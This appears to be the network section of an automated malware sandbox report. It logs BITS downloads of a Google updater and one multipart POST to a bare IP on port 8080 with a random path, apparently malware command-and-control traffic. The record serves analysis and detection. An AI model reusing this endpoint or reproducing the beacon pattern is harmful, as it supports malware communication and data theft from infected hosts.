X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r1---sn-j5o7dn7e.gvt1.com
http://redirector.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe 
HEAD /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: redirector.gvt1.com
http://r3---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 
GET /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Tue, 13 Apr 2021 03:03:58 GMT
Range: bytes=6732-17830
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r3---sn-j5o7dn7e.gvt1.com
http://r3---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 
GET /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Tue, 13 Apr 2021 03:03:58 GMT
Range: bytes=17831-29578
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r3---sn-j5o7dn7e.gvt1.com
http://104.131.41.185:8080/kw9ZW/NWrHKNKFVKFu8Jn/TqxEGeK/joJu05c2tZ4fIHJY1KU/ 
POST /kw9ZW/NWrHKNKFVKFu8Jn/TqxEGeK/joJu05c2tZ4fIHJY1KU/ HTTP/1.1
Referer: http://104.131.41.185/kw9ZW/NWrHKNKFVKFu8Jn/TqxEGeK/joJu05c2tZ4fIHJY1KU/
Content-Type: multipart/form-data; boundary=---------------------------599400231168972
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 104.131.41.185:8080
Content-Length: 4532
Connection: Keep-Alive
Cache-Control: no-cache
http://r3---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 
HEAD /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r3---sn-j5o7dn7e.gvt1.com
http://r3---sn-j5o7dn7e.gvt1.com/edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 
GET /edgedl/release2/update2/AIUdiWYcaIvMz1IBNCM0PPo_1.3.36.82/GoogleUpdateSetup.exe?mh=ms&pl=17&shardbypass=yes&redirect_counter=1&rm=sn-j5ok7e&req_id=3e31892cd982d27e&cms_redirect=yes&ipbypass=yes&mip=59.50.85.19&mm=28&mn=sn-j5o7dn7e&ms=nvh&mt=1620794680&mv=m&mvi=3 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Tue, 13 Apr 2021 03:03:58 GMT
Range: bytes=0-6731
User-Agent: Microsoft BITS/7.5
X-Old-UID: cnt=0
X-Last-HR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
X-HTTP-Attempts: 1
Host: r3---sn-j5o7dn7e.gvt1.com

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.